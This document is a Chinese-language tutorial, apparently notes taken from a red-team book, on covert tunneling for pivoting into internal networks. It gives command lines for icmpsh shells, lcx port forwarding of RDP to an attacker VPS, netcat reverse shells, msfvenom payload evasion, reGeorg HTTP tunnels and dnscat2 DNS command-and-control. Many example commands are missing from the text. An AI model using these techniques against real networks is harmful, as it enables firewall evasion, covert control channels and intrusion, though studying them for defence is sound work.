隐蔽通信隧道基础知识
经过前面信息收集的学习,知道了我是谁,我在哪,那么这章主要是我能去哪?
什么是隧道:
比如防火墙只开放了53端口,只允许DNS协议通过,这时可将数据封装在DNS协议里面,从内网发出去,在外面再进行解封装。即可实现隐蔽通信。
常用的隧道技术:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规的端口转发。
- 应用层:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道
内网连通性判断
判断内网的连通性是指判断主机能否上外网等。常见的允许流量流出的端口有80、8080、443、53、110、123等。
1 ICMP协议
- ping:命令:ping <IP地址>
2 TCP协议
netcat:“瑞士军刀”,简称“nc”。通过使用TCP/UDP的网络连接来读写数据。使用命令:nc -zv <IP 端口号>
nc -zv 192.168.1.7 80
3 HTTP协议
- curl:curl是一个利用URL规则在命令行下工作的综合文件传输工具。unix自带,windows需要下载。
- 使用命令:curl < IP:端口号 >
4 DNS协议
- nslookup(windows)
- dig(linux)
5 代理服务器
有时候企业办公网利用代理服务器进行上网,判断方法:
- 查看网络连接
- 查看主机名是否有”proxy“的主机
- 查看IE的代理
网络层隧道
1 IPv6隧道
2 ICMP隧道
只要可以ping通,就可以尝试建立ICMP隧道,将数据包封装在ICMP里面,
ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等
A.icmpsh
安装步骤:
在目标主机输入:
icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 内网主机输入,可以连接成功,得到shell。
B.pingtunnel
上面的场景,192.168.1.0/24 代表外网,1.1.1.0/24表示内网,这里模拟的场景是黑客通过WEB获得了WEB服务器的权限。然后通过内网渗透获取数据库服务器的密码。 但是发现不能进行访问,只能ping通。这里用到ICMP隧道技术。
首先在外网的服务器VPS,和WEB服务器 安装一下icmp隧道工具。
下载地址:freshmeat.sourceforge.net/project/ptunnel
安装流程:
运行ptunnel
所以这条语句的含义是 Web服务器 (192.168.1.11) 会把访问内网数据库服务器(1.1.1.10)的3389端口的数据包封装在ICMP隧道里,传给外网VPS服务器的1080端口,在访问攻击者的VPS服务器 192.168.1.9的 1080端口时,会收到相应的数据包。
防御措施:Wireshark 数据包分析,恶意流量分析。
传输层隧道技术
1 lcx端口转发
1.lcx端口转发
A.内网端口转发
目标机器:lcx.exe –slave 公网主机ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555
B.本地端口映射
lcx -tran 53 目标主机ip 3389
2 netcat
下载链接
LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
参数说明:
Banner信息抓取
获取shell
shell连接有两种:正向shell和反向shell
正向shell,指的是客户端连接服务器,客户端想获取服务器的shell,称为正向shell。即控制方主动发起连接去连接被控制方。
反向shell,指的是客户端连接服务器,服务器想获取客户端的shell,称为反向shell。即被控制方主动去连接控制方。
一般从外网搞内网用的都是反向shell,而在内网里面用的是正向shell。
目标主机没装netcat,如何反向shell
内网代理
外网VPS服务器,通过内网WEB服务器,获取内网数据库服务器shell
边界服务器相当于做了代理,将目标数据库服务器的shell权限转移给外网VPS服务器。
应用层隧道技术--SSH隧道
什么是SSH?
SSH 端口转发能够提供两大功能:1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。
常规操作
ssh [email protected] –P 22
密码登录过程
本地端口转发
原理:
VPS 攻击服务器,不能直接访问内网设备的数据库服务器,但是可以访问WEB服务器,所以可以通过WEB服务器作为跳板,通过WEB服务器访问数据库服务器,然后再将数据传出来。
配置:
利用:
在VPS服务器执行以下命令:
借助WEB服务器做跳板,下面是原理图:
msfvenom实战:
msfvenom是净荷生成和编码的组合,取代了 msfpayload 和 msfencode ,编码是为了免杀
在VPS主机上:
边界服务器上开启端口转发,见上面的配置
在目标主机
然后将生成的rever.exe 程序,复制到想要连接的内网主机上执行。(可以是DC,也可以是其他主机)
在VPS主机执行
远程端口转发
相比较于本地端口转发,跳转主机没有外网IP地址,但是可以访问外网。因此,VPS服务器不能访问它。
所以要用内网的主机,去访问外网VPS。下面的远程主机端口,是VPS的端口。
利用:
在web服务器端执行以下命令:
动态转发
建立一个SSH加密的SOCKS 代理通道,任何支持这个协议的程序都可以使用这个通道进行代理访问。比如:买一台海外服务器,通过这个可以进行访问。
在VPS 服务器执行命令:
应用层隧道技术--HTTP/HTTPS协议
使用工具:reGeorg
下载地址:https://github.com/sensepost/reGeorg
reGeorg工具有PHP,JSP,ASPX等web脚本,将脚本文件上传到服务器中,使用kali本地访问远程服务器的tunnel.jsp脚本文件,返回后利用reGeorgSocksProxy.py脚本监听本地9999端口,即可建立一个通信链路
python reGeorgSocksProxy -u http://[服务器IP:端口]/tunnel.jsp -p 9999
建立隧道后,在使用ProxyChains之类的工具,访问目标的资源
应用层隧道技术--DNS隧道
原理:
DNS协议是一种请求/应答协议,可应用于应用层隧道技术。将数据封装在DNS查询响应数据包里面,进行通信。比较隐蔽,可绕过防火墙的拦截。
用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。
DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。
DNS隧道工具--Dnscat2
dnscat2:它使用DNS协议创建加密的C&C通道,通过预共享密钥身份验证。该工具客户端是由C编写,服务端是由Ruby编写的。它有两种模式:直连模式:客户端直接向指定的IP地址的DNS服务器发起解析请求。中继模式:DNS通过互联网的迭代查询,指向指定的DNS服务器。
在使用该工具的时候需要先部署域名解析,测试部署是否成功。安装服务端。
启动服务端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用预共享的密钥进行生成验证一面中间人攻击 -e:规定安全级别,open表示服务端允许客户端不进行加密 --no-cache表示禁止缓存,必须要添加该选项
如果是直连模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示监听本地的53端口,自定义连接密码是ms08067.com
在目标主机上安装客户端:测试是否连通于服务端:dnscat.exe --ping vpn.360bobao.com
客户端连接服务端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com
如果服务端使用的是直连模式:dnscat --dns server=
当客户端和服务端连通之后就可以执行命令了
具体详情请参考内网安全攻防这本书
DNS隧道工具--iodine
总结
下面是关于各种隧道技术的总结与比较: